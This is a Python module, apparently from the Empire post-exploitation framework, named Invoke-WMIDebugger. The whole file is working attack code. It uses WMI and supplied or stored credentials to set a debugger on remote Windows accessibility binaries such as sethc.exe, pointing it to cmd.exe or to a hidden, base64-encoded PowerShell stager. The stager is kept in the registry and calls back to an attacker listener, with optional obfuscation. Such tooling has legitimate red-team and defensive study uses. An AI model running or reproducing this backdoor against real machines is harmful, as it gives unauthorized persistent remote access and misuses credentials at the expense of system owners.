from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-WMIDebugger', 'Author': ['@harmj0y'], 'Description': ('Uses WMI to set the debugger for a target binary on a remote ' 'machine to be cmd.exe or a stager.'), 'Background' : False, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : False, 'Language' : 'powershell', 'MinLanguageVersion' : '2', 'Comments': [] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'CredID' : { 'Description' : 'CredID from the store to use.', 'Required' : False, 'Value' : '' }, 'ComputerName' : { 'Description' : 'Host[s] to execute the stager on, comma separated.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : False, 'Value' : '' }, 'UserName' : { 'Description' : '[domain\]username to use to execute command.', 'Required' : False, 'Value' : '' }, 'Password' : { 'Description' : 'Password to use to execute command.', 'Required' : False, 'Value' : '' }, 'TargetBinary' : { 'Description' : 'Target binary to set the debugger for (sethc.exe, Utilman.exe, osk.exe, Narrator.exe, or Magnify.exe)', 'Required' : True, 'Value' : 'sethc.exe' }, 'RegPath' : { 'Description' : 'Registry location to store the script code. Last element is the key name.', 'Required' : False, 'Value' : 'HKLM:Software\Microsoft\Network\debug' }, 'Binary' : { 'Description' : 'Binary to set for the debugger.', 'Required' : False, 'Value' : 'C:\Windows\System32\cmd.exe' }, 'Cleanup' : { 'Description' : 'Switch. Disable the debugger for the specified TargetBinary.', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" # management options cleanup = self.options['Cleanup']['Value'] binary = self.options['Binary']['Value'] targetBinary = self.options['TargetBinary']['Value'] listenerName = self.options['Listener']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] # storage options regPath = self.options['RegPath']['Value'] statusMsg = "" locationString = "" # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if domainName != "": self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName) else: self.options["UserName"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = passw = password if cleanup.lower() == 'true': # the registry command to disable the debugger for the target binary payloadCode = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';" statusMsg += " to remove the debugger for " + targetBinary elif listenerName != '': # if there's a listener specified, generate a stager and store it if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True) encScript = launcher.split(" ")[-1] # statusMsg += "using listener " + listenerName path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] # statusMsg += " stored in " + regPath + "." payloadCode = "$RegPath = '"+regPath+"';" payloadCode += "$parts = $RegPath.split('\\');" payloadCode += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" payloadCode += "$name = $parts[-1];" payloadCode += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" # note where the script is stored locationString = "$((gp "+path+" "+name+")."+name+")" payloadCode += "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";start -Win Hidden -A \\\"-enc $x\\\" powershell\";exit;';" statusMsg += " to set the debugger for "+targetBinary+" to be a stager for listener " + listenerName + "." else: payloadCode = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+binary+"';" statusMsg += " to set the debugger for "+targetBinary+" to be " + binary + "." # unicode-base64 the payload code to execute on the targets with -enc encPayload = helpers.enc_powershell(payloadCode) # build the WMI execution string computerNames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\"" script += " -ComputerName @("+computerNames+")" script += " -ArgumentList \"C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -enc " + encPayload + "\"" # if we're supplying alternate user credentials if userName != '': script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) return script